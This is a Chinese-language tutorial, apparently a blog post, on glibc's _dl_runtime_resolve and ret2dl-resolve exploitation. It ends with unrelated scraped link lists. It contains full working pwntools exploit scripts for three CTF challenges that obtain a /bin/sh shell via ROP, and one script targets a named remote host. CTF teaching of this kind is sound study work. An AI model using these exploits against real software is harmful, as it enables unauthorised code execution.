深入理解-dl_runtime_resolve

概要

目前大部分漏洞利用常包含两个阶段:

  • 首先通过信息泄露获取程序内存布局
  • 第二步才进行实际的漏洞利用

然而信息泄露的方法并不总是可行的,且获取的内存信息并不可靠,于是就有了ret2dl_resolve的利用方式。这种方式巧妙的利用了ELF文件格式以及动态装载器的弱点,不需要进行信息泄露就可以直接标识关键函数并调用。

符号解析过程以及结构体定义

解析原理

  • 动态装载器负责将二进制文件以及依赖库加载到内存,该过程包含了对导入符号的解析。

  • 也就是说,在第一次调用函数时都由_dl_runtime_resolve函数来完成,以下是函数原型:

    1. _dl_runtime_resolve(link_map_obj, reloc_index)

  • resolve函数第二个参数是reloc_index,它可以找到文件中.rel.plt表,.rel.plt表由Elf Rel结构体组成,定义如下:

    它的r_offset用于保存解析后的符号地址写入内存的位置(绝对地址),r_info的高位3字节用于标识该符号在.dynsym中的下标。

    它在程序中的内容如下:

  • Elf Rel结构体中的r_info 成员指向.dynsym段中的Elf Sym结构体。结构体定义如下:

  • Elf Sym结构体中前两个成员为重要成员,st_value 是当符号被导出时用于存放虚拟地址,不导出则为NULL。st_name 是相对于.dynstr段的偏移, .dynstr保存符号名称字符串, 内容如下:

总结起来就是:

当程序导入函数时,动态链接器在.dynstr段中添加一个函数名称字符串

.dynsym段中添加一个指向函数名称字符串的Elf Sym结构体

.rel.plt段中添加一个指向Elf SymElf Rel结构体

最后Elf Relr_offse构成GOT表,保存在.got.plt段中

Lazy Binding

  • Lazy Binding机制(延迟绑定)即只有函数被调用时,才会对函数地址进行解析,然后将真实地址写入GOT表中。第二次调用函数时便不再进行加载

  • 该过程是通过PLT表进行的。每个函数都在PLT表中有一个条目(PLT[0]),第一条指令无条件跳转到对应的GOT条目保存的地址。在程序中类似于下面这样:

  • 然后GOT条目在初始化时默认指向PLT条目的第二条指令位置(PLT[1]),相当于又跳回来了。执行下面两条指令:

    1. push xxx :先将导入函数的标识(Elf Rel.rel.plt的偏移)压栈
    2. 然后跳转到GOT[2]保存的地址处,也就是_dl_runtime_resolve()函数

    在程序中类似于下面这样,并且可以验证0x804A008,也就是GOT[2]是存储的dl_runtime_resolve()函数:

  • _dl_runtime_resolve函数中第一个参数link_map_obj,用于获取解析导入函数所需的信息,第二个参数reloc_index则标识了解析哪一个导入函数(当前函数setbufreloc_index是0,所以是0):

    下面看看另一个函数strlenreloc_index为0x10,所以为0x10:

  • _dl_runtime_resovle函数中,_dl_fixup()函数用于解析导入函数的真实地址,并改写GOT:

总结起来就是:

首先无条件跳转到GOT表条目,jmp xxx

然后把reloc_index压栈,再次跳转到GOT条目**

然后把link_map_obj压栈,参数压栈完成后,执行_dl_runtime_resolve函数

_dl_runtime_resolve中的_dl_fixup完成解析并将真实地址写入GOT表

漏洞利用

程序保护机制RELRO(Relocation Read-Only,重定位只读)是用于缓解由动态解析缺陷而产生的。一般分为三种情况:

  1. gcc -o test test.c // 默认情况下, 是Partial RELRO
  2. gcc -z norelro -o test test.c // 关闭, 即No RELRO。
  3. gcc -z lazy -o test test.c // 部分开启, 即Partial RELRO
  4. gcc -z now -o test test.c // 全部开启, 即
  • No RELRO

完全关闭。.dynamic段可写,动态装载器是以.dynamic段的DT_STRTAB条目来获取.dynstr段的地址,而DT_STRTAB地址是已知的,且默认情况下可写,所以可以改写DT_STRTAB,欺骗动态装载器,使其找到伪造的.dynstr段,将我们控制的地址内的字符串解析为函数名称,然后去解析函数地址。比如修改DT_STRTAB.dynstr条目内容为bss段,在bss段中写入execve字符串,假如现在正要解析printf函数,那么就会解析成execve函数的地址。

  • Partial RELRO

开启部分保护,.dynamic段不可写。之前介绍_dl_runtime_resolve时提到,第二个参数reloc_index对应Elf Rel.rel.plt中的偏移,动态装载器将reloc_index加上.rel.plt的基址来得到目标Elf Rel的内存地址。

当我们控制reloc_index的值,使它相加后刚好落在bss段上,就可以在bss段上构造一个Elf Rel结构体,使Elf Rel的第一个成员r_offset的值是一个可写的地址,用来保存解析后的函数地址。然后使r_info的值导向到可控制的内存下标,指向Elf SymElf Sym中的st_name 再指向函数名称字符串,那么就可以解析成我们想要的函数地址。

  • FULL RELRO

保护完全开启,开启后立即绑定函数地址,添加 PT_GNU_RELRO 段,.got只读不可写,.got.plt 节取消,PLT 直接调用.got节地址。Bypass可参考网上资料。

XDCTF 2015 pwn200

  1. 程序源码

    1. #include <string.h>
    2. #include<stdio.h>
    3. void vuln()
    4. {
    5. char buf[100];
    6. setbuf(stdin, buf);
    7. read(0, buf, 256);
    8. }
    9. int main()
    10. {
    11. char buf[100] = "Welcome to XDCTF2015~!\n";
    12. setbuf(stdout, buf);
    13. write(1, buf, strlen(buf));
    14. vuln();
    15. return 0;
    16. };
  2. 编译为动态链接32位可执行文件,开启Partial RELRO 和NX保护:

    1. gcc -m32 -fno-stack-protector -no-pie pwn200.c -o pwn200

  1. 可以从源码得知有栈溢出漏洞,可以通过泄露libc地址的方式获取flag,但在这里使用ret2dl-resolve的方式。
  2. 程序开启了Partial RELRO 保护,那么就按照上面介绍的第二种保护情况来做。
  • 首先利用栈溢出控制执行流,调用read函数将下一阶段的payload读取到bss段上:
  1. payload1 = b'a' * (0x6c + 4) # 填充长度
  2. payload1 += p32(read_plt) # read(0, bss_addr, 100)
  3. payload1 += p32(pppr) # 清栈
  4. payload1 += p32(0) + p32(bss_addr) + p32(100)
  5. payload1 += p32(pop_ebp_addr) # 构造一个假的ebp
  6. payload1 += p32(bss_addr)
  7. payload1 += p32(leave_ret_addr) # 栈迁移到bss段中
  • 这里一步一步模拟write函数的解析过程,最终实现system("/bin/sh") 。在bss段构造payload,并且打印出我们填入的字符串,以便验证:
  1. payload2 = b'aaaa' # ebp
  2. payload2 += p32(write_plt) # write(1, bss_addr+80, 7)
  3. payload2 += b'aaaa'
  4. payload2 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
  5. payload2 += b'a' * (80 - len(payload2)) # 填充长度为80,以免字符串被后续payload破坏
  6. payload2 += b'/bin/sh\x00' # bss_addr+80 内容为字符串 “/bin/sh\x00”
  7. payload2 += b'a' * (100 - len(payload2))
  • 接下来模拟write@plt的执行效果。在bss段构造payload,将_dl_runtime_resolve函数的参数压栈,也就是reloc_index ,再跳转到PLT[0],就是第一个无条件跳转指令 jmp xxx
  1. reloc_index = 0x20
  2. payload3 = b'aaaa'
  3. payload3 += p32(plt_0) # write 函数的jmp xxx地址
  4. payload3 += p32(reloc_index) # push 0x20
  5. payload3 += b'aaaa'
  6. payload3 += p32(1) + p32(bss + 80) + p32(len('/bin/sh'))
  7. payload3 += b'a' * (80 - len(payload3))
  8. payload3 += b'/bin/sh\x00'
  9. payload3 += b'a' * (100 - len(payload3))
  • 然后在bss段中构造一个Elf Rel结构,r_offset 设置成write@got 的地址,表示解析后的真实地址填入这里。r_info直接照搬,设置成0x607,动态加载器会通过这个值找到对应的Elf Sym。那么现在reloc_index就不再是0x20了,应该调整为Elf Rel基地址距离bss段上的偏移:

r_info成员的值是0x607,直接照搬到payload中

  1. reloc_index = bss_addr - rel_plt + 28 # 这里需要加上28的偏移,具体可以调试得知
  2. r_info = 0x607 # .rel.plt 的 r_info 成员
  3. fake_reloc = p32(write_got) + p32(r_info) # 模拟JMPREL Rel表
  4. payload4 = b'aaaa'
  5. payload4 += p32(plt_0) # plt[0]
  6. payload4 += p32(reloc_index) # push
  7. payload4 += b'aaaa'
  8. payload4 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh')) # write函数的参数,会打印出“/bin/sh”
  9. payload4 += fake_reloc
  10. payload4 += b'a' * (80 - len(payload4)) # 填充长度
  11. payload4 += b'/bin/sh\x00'
  12. payload4 += b'a' * (100 - len(payload4))
  • 在bss段中伪造Elf Sym。首先使用readelf命令,查找到write函数在.dynsym段的下标,得知下标为6,然后使用objdump找到下标为6的那一行,数据直接照搬就可以了:

那么之前构造的fake_reloc也要调整,r_info可以通过r_symr_type计算得出。r_sym也就是Elf Sym相对于.dynsym段的下标偏移,r_type则照搬R_386_JUMP_SLOT的值 0x7

  1. reloc_index = bss_addr + 28 - rel_plt
  2. r_sym = (bss_addr + 40 - dynsym) / 0x10 # 需要补上40字节的偏移,具体可以调试
  3. r_type = 0x7
  4. r_info = (int(r_sym) << 8) + (r_type & 0xff) # write函数这里的结果就是0x607
  5. fake_reloc = p32(write_got) + p32(r_info)
  6. fake_sym = p32(0x4c) + p32(0) + p32(0) + p32(0x12) # 上面objdump的结果照搬
  7. payload5 = b'aaaa'
  8. payload5 += p32(plt_0)
  9. payload5 += p32(reloc_index)
  10. payload5 += b'aaaa'
  11. payload5 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh'))
  12. payload5 += fake_reloc
  13. payload5 += b'aaaa'
  14. payload5 += fake_sym
  15. payload5 += b'a' * (80 - len(payload5))
  16. payload5 += b'/bin/sh\x00'
  17. payload5 += b'a' * (100 - len(payload5))
  • 最后,在bss段上伪造.dynstr,也就是放上"write"字符串,相应的调整fake_sym的st_name指向伪造的函数名称字符串。st_info 字段的内容被分为高 28 位的 st_bind 符号绑定信息,以及低 4 位的 st_type 符号类型信息,然后可以通过st_blindst_type来计算st_info

  1. reloc_index = bss_addr + 28 - rel_plt
  2. r_sym = (bss_addr + 40 - dynsym) / 0x10
  3. r_type = 0x7
  4. r_info = (r_sym << 8) + (r_type & 0xff) # 0x607
  5. fake_reloc = p32(write_got) + p32(r_info) # Elf Rel
  6. st_name = bss_addr + 56 - dynstr # 指向写入的"write"字符串
  7. st_bind = 0x1 # st_info高28位
  8. st_type = 0x2 # st_info低4位
  9. st_info = (st_bind << 4) + (st_type & 0xf) # 0x12
  10. fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
  11. payload6 = b'aaaa'
  12. payload6 += p32(plt_0)
  13. payload6 += p32(reloc_index) # fake reloc_index,偏移到了bss段
  14. payload6 += b'aaaa'
  15. payload6 += p32(1) + p32(bss_addr + 80) + p32(len('/bin/sh')) # write函数参数
  16. payload6 += fake_reloc # fake Elf Rel
  17. payload6 += b'aaaa'
  18. payload6 += fake_sym # fake Elf Sym
  19. payload6 += b'write\x00' # st_name
  20. payload6 += b'a' * (80 - len(payload6))
  21. payload6 += b'/bin/sh\x00'
  22. payload6 += b'a' * (100 - len(payload6))

最后,只要将字符串“write”改成“system”,调整一下参数即可获得shell。

  • 完整exp
  1. from pwn import *
  2. # context.log_level = 'debug'
  3. elf = ELF('./pwn200')
  4. # io = remote('127.0.0.1', 10001)
  5. io = process('./pwn200')
  6. io.recv()
  7. pppr_addr = 0x08048619 # pop esi ; pop edi ; pop ebp ; ret
  8. pop_ebp_addr = 0x0804861b # pop ebp ; ret
  9. leave_ret_addr = 0x08048458 #: leave ; ret
  10. write_plt = elf.plt['write']
  11. write_got = elf.got['write']
  12. read_plt = elf.plt['read']
  13. plt_0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
  14. rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
  15. dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
  16. dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
  17. bss_addr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
  18. base_addr = bss_addr + 0x600
  19. payload_1 = b"A" * 112
  20. payload_1 += p32(read_plt)
  21. payload_1 += p32(pppr_addr)
  22. payload_1 += p32(0)
  23. payload_1 += p32(base_addr)
  24. payload_1 += p32(100)
  25. payload_1 += p32(pop_ebp_addr)
  26. payload_1 += p32(base_addr)
  27. payload_1 += p32(leave_ret_addr)
  28. io.send(payload_1)
  29. reloc_index = base_addr + 28 - rel_plt
  30. fake_sym_addr = base_addr + 36
  31. align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
  32. fake_sym_addr = fake_sym_addr + align # 对齐
  33. # fake Elf Rel
  34. r_sym = (fake_sym_addr - dynsym) / 0x10
  35. r_type = 0x7
  36. r_info = (int(r_sym) << 8) + (r_type & 0xff)
  37. fake_reloc = p32(write_got) + p32(r_info)
  38. # fake Elf Sym
  39. st_name = fake_sym_addr + 0x10 - dynstr
  40. st_bind = 0x1
  41. st_type = 0x2
  42. st_info = (st_bind << 4) + (st_type & 0xf)
  43. fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)
  44. payload_7 = b"AAAA"
  45. payload_7 += p32(plt_0)
  46. payload_7 += p32(reloc_index)
  47. payload_7 += b"AAAA"
  48. payload_7 += p32(base_addr + 80)
  49. payload_7 += b"AAAA"
  50. payload_7 += b"AAAA"
  51. payload_7 += fake_reloc
  52. payload_7 += b"A" * align
  53. payload_7 += fake_sym
  54. payload_7 += b"system\x00"
  55. payload_7 += b"A" * (80 - len(payload_7))
  56. payload_7 += b"/bin/sh\x00"
  57. payload_7 += b"A" * (100 - len(payload_7))
  58. io.sendline(payload_7)
  59. io.interactive()
  • 如果觉得手工构造太麻烦,有一个工具 roputils 可以简化此过程,或者可以使用pwntools中自带的 模块来完成,下面是pwntools构造32位程序exp的例子:
  1. from pwn import *
  2. context.binary = elf = ELF("./pwn200")
  3. context.arch='i386'
  4. context.log_level ='debug'
  5. rop = ROP(context.binary)
  6. dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
  7. rop.read(0,dlresolve.data_addr)
  8. rop.ret2dlresolve(dlresolve)
  9. raw_rop = rop.chain()
  10. io = process("./pwn200")
  11. io.recvuntil("\n")
  12. payload = flat({112:raw_rop,256:dlresolve.payload})
  13. io.sendline(payload)
  14. io.interactive()

x64的ret2dl-resolve—XMAN 2016-level3

检查保护

  • 64 位程序一般情况下使用寄存器传参,但给 _dl_runtime_resolve 传参时使用栈
  • _dl_runtime_resolve 函数的第二个参数 reloc_index 由偏移变为了索引

64位在这种情况下,如果像32位一样依次伪造reloc_indexsymtabstrtab会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处,接下来我们结合 _dl_fixup 完整源码进行分析,源码位于 glibc-2.23/elf/dl-runtime.c , 在关键位置给出了注释,其他位置可忽略:

  1. _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
  2. // 第一个参数link_map,也就是got[1]
  3. {
  4. // 获取link_map中存放DT_SYMTAB的地址
  5. const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
  6. // 获取link_map中存放DT_STRTAB的地址
  7. const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  8. // reloc_offset就是reloc_arg,获取重定位表项中对应函数的结构体
  9. const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  10. // 根据重定位结构体的r_info得到symtab表中对应的结构体
  11. const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
  12. void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  13. lookup_t result;
  14. DL_FIXUP_VALUE_TYPE value;
  15. // 检查r_info的最低位是不是7
  16. assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  17. // 这里是一层检测,检查sym结构体中的st_other是否为0,正常情况下为0,执行下面代码
  18. if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
  19. {
  20. const struct r_found_version *version = NULL;
  21. // 这里也是一层检测,检查link_map中的DT_VERSYM是否为NULL,正常情况下不为NULL,执行下面代码
  22. if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
  23. {
  24. /* 到了这里就是64位下报错的位置,在计算版本号时,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程中,
  25. 由于我们一般伪造的symtab位于bss段,就导致在64位下reloc->r_info比较大,故程序会发生错误。所以要使程序不发生错误,
  26. 自然想到的办法就是不执行这里的代码,分析上面的代码我们就可以得到两种手段:
  27. 第一种手段就是使上一行的if不成立,也就是设置link_map中的DT_VERSYM为NULL,那我们就要泄露出link_map的地址,而如果我们能泄露地址,根本用不着ret2dlresolve。
  28. 第二种手段就是使最外层的if不成立,也就是使sym结构体中的st_other不为0,直接跳到后面的else语句执行。*/
  29. const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
  30. ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
  31. version = &l->l_versions[ndx];
  32. if (version->hash == 0)
  33. version = NULL;
  34. }
  35. int flags = DL_LOOKUP_ADD_DEPENDENCY;
  36. if (!RTLD_SINGLE_THREAD_P)
  37. {
  38. THREAD_GSCOPE_SET_FLAG ();
  39. flags |= DL_LOOKUP_GSCOPE_LOCK;
  40. }
  41. RTLD_ENABLE_FOREIGN_CALL;
  42. // 在32位情况下,上面代码运行中不会出错,就会走到这里,这里通过strtab+sym->st_name找到符号表字符串,result为libc基地址
  43. result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
  44. version, ELF_RTYPE_CLASS_PLT, flags, NULL);
  45. if (!RTLD_SINGLE_THREAD_P)
  46. THREAD_GSCOPE_RESET_FLAG ();
  47. RTLD_FINALIZE_FOREIGN_CALL;
  48. // 同样,如果正常执行,接下来会来到这里,得到value的值,为libc基址加上要解析函数的偏移地址,也即实际地址,即result+st_value
  49. value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
  50. }
  51. else
  52. {
  53. // 这里就是64位下利用的关键,在最上面的if不成立后,就会来到这里,这里value的计算方式是 l->l_addr + st_value,我们的目的是使**value为我们所需要的函数的地址,所以就得控制两个参数,l_addr 和 st_value
  54. /* We already found the symbol. The module (and therefore its load
  55. address) is also known. */
  56. value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
  57. result = l;
  58. }
  59. /* And now perhaps the relocation addend. */
  60. value = elf_machine_plt_value (l, reloc, value);
  61. if (sym != NULL
  62. && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
  63. value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));
  64. /* Finally, fix up the plt itself. */
  65. if (__glibc_unlikely (GLRO(dl_bind_not)))
  66. return value;
  67. // 最后把value写入相应的GOT表条目中
  68. return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
  69. }

所以接下来我们的任务就是控制 link_map 中的l_addr和 sym中的st_value

具体思路为:

  • 伪造 link_map->l_addr 为libc中已解析函数与想要执行的目标函数的偏移值,如 addr_system - addr_xxx
  • 伪造 sym->st_value 为已经解析过的某个函数的 got 表的位置

下面是64位下的sym结构体:

所以sym结构体的大小为24字节,st_value就位于首地址+0x8的位置( 4 + 1 + 1 + 2)。

如果,我们把一个函数的got表地址-0x8的位置当作sym表首地址,那么它的st_value的值就是这个函数的got表上的值,也就是实际地址,此时它的st_other恰好不为0

再来看link_map的结构

  1. struct link_map {
  2. Elf64_Addr l_addr;
  3. char *l_name;
  4. Elf64_Dyn *l_ld;
  5. struct link_map *l_next;
  6. struct link_map *l_prev;
  7. struct link_map *l_real;
  8. Lmid_t l_ns;
  9. struct libname_list *l_libname;
  10. Elf64_Dyn *l_info[76]; //l_info 里面包含的就是动态链接的各个表的信息
  11. ...
  12. size_t l_tls_firstbyte_offset;
  13. ptrdiff_t l_tls_offset;
  14. size_t l_tls_modid;
  15. size_t l_tls_dtor_count;
  16. Elf64_Addr l_relro_addr;
  17. size_t l_relro_size;
  18. unsigned long long l_serial;
  19. struct auditstate l_audit[];
  20. }

这里的.dynamic节就对应Elf64_Dyn * l_info的内容

所以如果我们伪造一个link_map表,很容易就可以控制 l_addr ,通过阅读源码,我们知道_dl_fixup主要用了 l_info 的内容 ,也就是上图中JMPREL,STRTAB,SYMTAB的地址。

所以我们需要伪造这个数组里的几个指针

  • DT_STRTAB指针:位于link_map_addr +0x68(32位下是0x34)
  • DT_SYMTAB指针:位于link_map_addr + 0x70(32位下是0x38)
  • DT_JMPREL指针:位于link_map_addr +0xF8(32位下是0x7C)

然后伪造三个elf64_dyn即可,dynstr只需要指向一个可读的地方,因为这里我们没有用到

  • 64位下重定位表项与32位有所不同,多了r_addend成员,三个成员各占8字节,总大小为24字节:

  • 在这里可以看到,write 函数在符号表中的偏移为 2(也就是r_info的值:0x200000007h>>32)

  • 除此之外,在 64 位下,plt 中的代码 push 的是待解析符号在重定位表中的索引,而不是偏移。比如,write 函数对应上图中第一个,下标为0,那么就push 0

  • 看看另一个,read函数对应的下标为1,那么就push 1

可以发现针对软件重定位的攻击其实都是围绕函数 _dl_fix_up 的两个参数 link_mapreloc_arg 展开的,再加上相关数据结构的伪造完成攻击。确实感觉这种攻击是格式化的,虽然过程看上去很复杂,但是实际上都有固定的“套路”,只需按照步骤一步一步操作,大多数情况下就可以完成整个攻击。

  • 下面是完整的脚本
  1. from pwn import *
  2. context.update(os = 'linux', arch = 'amd64')
  3. p = process('./level3_x64')
  4. universal_gadget1 = 0x4006aa
  5. universal_gadget2 = 0x400690
  6. main_got = 0x600a68
  7. pop_rdi_ret = 0x4006b3
  8. jmp_dl_fixup = 0x4004a6
  9. pop_rbp_ret = 0x400550
  10. leave_ret = 0x400618
  11. read_got = 0x600a60
  12. new_stack_addr = 0x600ad0
  13. fake_link_map_addr = 0x600b00
  14. payload = b""
  15. payload += b'A'*(0x80+0x8)
  16. payload += p64(universal_gadget1)
  17. payload += p64(0x0)
  18. payload += p64(0x1)
  19. payload += p64(read_got)
  20. payload += p64(0x500)
  21. payload += p64(new_stack_addr)
  22. payload += p64(0x0)
  23. payload += p64(universal_gadget2)
  24. payload += b'A'*56
  25. payload += p64(pop_rbp_ret)
  26. payload += p64(new_stack_addr)
  27. payload += p64(leave_ret)
  28. p.send(payload)
  29. sleep(0.5)
  30. offset = 0x24c50 # system - __libc_start_main
  31. fake_Elf64_Dyn = b""
  32. fake_Elf64_Dyn += p64(0) #d_tag 从link_map中找.rel.plt不需要用到标签, 随意设置
  33. fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18) #d_ptr 指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体
  34. fake_Elf64_Rela = b""
  35. fake_Elf64_Rela += p64(fake_link_map_addr - offset) # r_offset rel_addr = l->addr+reloc_offset,直接指向fake_link_map所在位置令其可读写就行
  36. fake_Elf64_Rela += p64(7) # r_info index设置为0,最后一字节必须为7
  37. fake_Elf64_Rela += p64(0) # r_addend 随意设置
  38. fake_Elf64_Sym = b""
  39. fake_Elf64_Sym += p32(0) # st_name 随意设置
  40. fake_Elf64_Sym += b'AAAA' # st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
  41. fake_Elf64_Sym += p64(main_got-8) # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
  42. fake_Elf64_Sym += p64(0) # st_size 随意设置
  43. fake_link_map_data = b""
  44. fake_link_map_data += p64(offset) # l_addr,伪造为两个函数的地址偏移值
  45. fake_link_map_data += fake_Elf64_Dyn
  46. fake_link_map_data += fake_Elf64_Rela
  47. fake_link_map_data += fake_Elf64_Sym
  48. fake_link_map_data += b'\x00'*0x20
  49. fake_link_map_data += p64(fake_link_map_addr) # DT_STRTAB 设置为一个可读的地址
  50. fake_link_map_data += p64(fake_link_map_addr + 0x30) # DT_SYMTAB 指向对应结构体数组的地址
  51. fake_link_map_data += b"/bin/sh\x00"
  52. fake_link_map_data += b'\x00'*0x78
  53. fake_link_map_data += p64(fake_link_map_addr + 0x8) # DT_JMPREL 指向对应数组结构体的地址
  54. payload = b""
  55. payload += b"AAAAAAAA"
  56. payload += p64(pop_rdi_ret)
  57. payload += p64(fake_link_map_addr+0x78) # /bin/sh\x00地址
  58. payload += p64(jmp_dl_fixup) # 用jmp跳转到_dl_fixup,link_map和reloc_offset都由我们自己伪造
  59. payload += p64(fake_link_map_addr) # 伪造的link_map地址
  60. payload += p64(0) # 伪造的reloc_offset
  61. payload += fake_link_map_data
  62. p.send(payload)
  63. p.interactive()

2021强网杯 [强网先锋]no_output

此题也是考验ret2dl-resolve攻击方式。exp如下:

  1. from pwn import *
  2. # s = process("./test")
  3. s = remote("39.105.138.97", "1234")
  4. elf = ELF("./test")
  5. # 调试参数
  6. context.log_level = 'debug'
  7. context.terminal = ['tmux', 'splitw', '-h']
  8. # bss
  9. bss = elf.bss(0x400)
  10. # ROPgadget
  11. leave = 0x08049267 # leave 清栈
  12. pppr = 0x08049581 # pop esi;pop edi;pop ebp;ret
  13. p_ebp_r = 0x08049583 # pop ebp;ret
  14. r = 0x0804900e # ret
  15. read = elf.sym['read']
  16. # 初始化表地址
  17. plt = elf.get_section_by_name('.plt').header.sh_addr # 带linkmap然后jmp到_dl_runtime_resolve
  18. rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
  19. dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
  20. dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
  21. # 输入buf
  22. s.send(b'\x00' * 0x30)
  23. # 输入src
  24. s.send(b'\x00' * 0x20)
  25. # 输入soul
  26. s.sendline(b'-2147483648')
  27. # 输入egg
  28. s.sendline(b'-1')
  29. def send1():
  30. payload1 = b'a' * 0x48
  31. payload1 += p32(bss)
  32. payload1 += p32(read)
  33. payload1 += p32(pppr)
  34. payload1 += p32(0)
  35. payload1 += p32(bss)
  36. payload1 += p32(0x200)
  37. payload1 += p32(p_ebp_r)
  38. payload1 += p32(bss)
  39. payload1 += p32(leave)
  40. payload1 = payload1.ljust(0x100, b'\x00')
  41. s.send(payload1)
  42. def send2():
  43. # 伪造地址
  44. fake_sym = bss + 0x24
  45. fake3 = 0x10 - ((fake_sym - dynsym) & 0xf)
  46. fake_sym += fake3
  47. index = int((fake_sym - dynsym) / 0x10)
  48. rrr = (index << 8) | 0x7
  49. # 计算偏移
  50. name = (fake_sym + 0x10) - dynstr
  51. offset = (bss + 0x1c) - rel_plt
  52. # 重定位
  53. rel = p32(elf.got['read']) + p32(rrr)
  54. binsh = bss + 0x100
  55. payload2 = p32(0)
  56. payload2 += p32(plt)
  57. payload2 += p32(offset)
  58. payload2 += p32(0)
  59. payload2 += p32(binsh)
  60. payload2 += p32(0)
  61. payload2 += p32(0)
  62. payload2 += rel
  63. payload2 += b'a' * fake3
  64. payload2 += p32(name)
  65. payload2 += p32(0)
  66. payload2 += p32(0)
  67. payload2 += p32(18)
  68. payload2 += b'system\x00'
  69. payload2 = payload2.ljust(256, b'\x00')
  70. payload2 += b'/bin/sh'
  71. s.send(payload2)
  72. send1()
  73. send2()
  74. s.interactive()

深入理解-dl_runtime_resolve的更多相关文章

  1. 聊聊动态链接和dl_runtime_resolve

    写在前面 linux下的动态链接相关结构,重新回顾_dl_runtime_resolve的流程以及利用方法 动态链接相关结构 为了高效率的利用内存,多个进程可以共享代码段.程序模块化方便更新维护等,动 ...

  2. 理解CSS视觉格式化

    前面的话   CSS视觉格式化这个词可能比较陌生,但说起盒模型可能就恍然大悟了.实际上,盒模型只是CSS视觉格式化的一部分.视觉格式化分为块级和行内两种处理方式.理解视觉格式化,可以确定得到的效果是应 ...

  3. 彻底理解AC多模式匹配算法

    (本文尤其适合遍览网上的讲解而仍百思不得姐的同学) 一.原理 AC自动机首先将模式组记录为Trie字典树的形式,以节点表示不同状态,边上标以字母表中的字符,表示状态的转移.根节点状态记为0状态,表示起 ...

  4. 理解加密算法(三)——创建CA机构,签发证书并开始TLS通信

    接理解加密算法(一)--加密算法分类.理解加密算法(二)--TLS/SSL 1 不安全的TCP通信 普通的TCP通信数据是明文传输的,所以存在数据泄露和被篡改的风险,我们可以写一段测试代码试验一下. ...

  5. node.js学习(三)简单的node程序&&模块简单使用&&commonJS规范&&深入理解模块原理

    一.一个简单的node程序 1.新建一个txt文件 2.修改后缀 修改之后会弹出这个,点击"是" 3.运行test.js 源文件 使用node.js运行之后的. 如果该路径下没有该 ...

  6. 如何一步一步用DDD设计一个电商网站(一)—— 先理解核心概念

    一.前言     DDD(领域驱动设计)的一些介绍网上资料很多,这里就不继续描述了.自己使用领域驱动设计摸滚打爬也有2年多的时间,出于对知识的总结和分享,也是对自我理解的一个公开检验,介于博客园这个平 ...

  7. 学习AOP之透过Spring的Ioc理解Advisor

    花了几天时间来学习Spring,突然明白一个问题,就是看书不能让人理解Spring,一方面要结合使用场景,另一方面要阅读源代码,这种方式理解起来事半功倍.那看书有什么用呢?主要还是扩展视野,毕竟书是别 ...

  8. ThreadLocal简单理解

    在java开源项目的代码中看到一个类里ThreadLocal的属性: private static ThreadLocal<Boolean> clientMode = new Thread ...

  9. JS核心系列:理解 new 的运行机制

    和其他高级语言一样 javascript 中也有 new 运算符,我们知道 new 运算符是用来实例化一个类,从而在内存中分配一个实例对象. 但在 javascript 中,万物皆对象,为什么还要通过 ...

随机推荐

  1. python之struct详解

    python之struct详解 2018-05-23 18:20:29 醉小义 阅读数 20115更多 分类专栏: python   版权声明:本文为博主原创文章,遵循CC 4.0 BY-SA版权协议 ...

  2. 大数据-Hadoop虚拟机的准备以及配置(三台机子)

    虚拟机的准备 修改静态IP(克隆的虚拟机) vim /etc/udev/rules.d/70-persistent-net.rules 配置网络: Vim /etc/sysconfig/network ...

  3. gitlab找回管理员密码

    1.登陆后台服务器,切换git用户 su - git 2.登录GitLab的Rails控制台 gitlab-rails console production 另一种 切换root账户 执行:  git ...

  4. IDA 动态调试

    感谢南邮,让我把ida动态调试,给搞定了,困扰了很久,之前下的ubuntu的源,好像有问题,ifconfig这个命令一直装不上,突然想起来了我的服务器很久没用了,重装了下系统,换成ubuntu,这里记 ...

  5. Robotframework学习笔记之一Common Resource导入的Library库显示红色(导入失败)

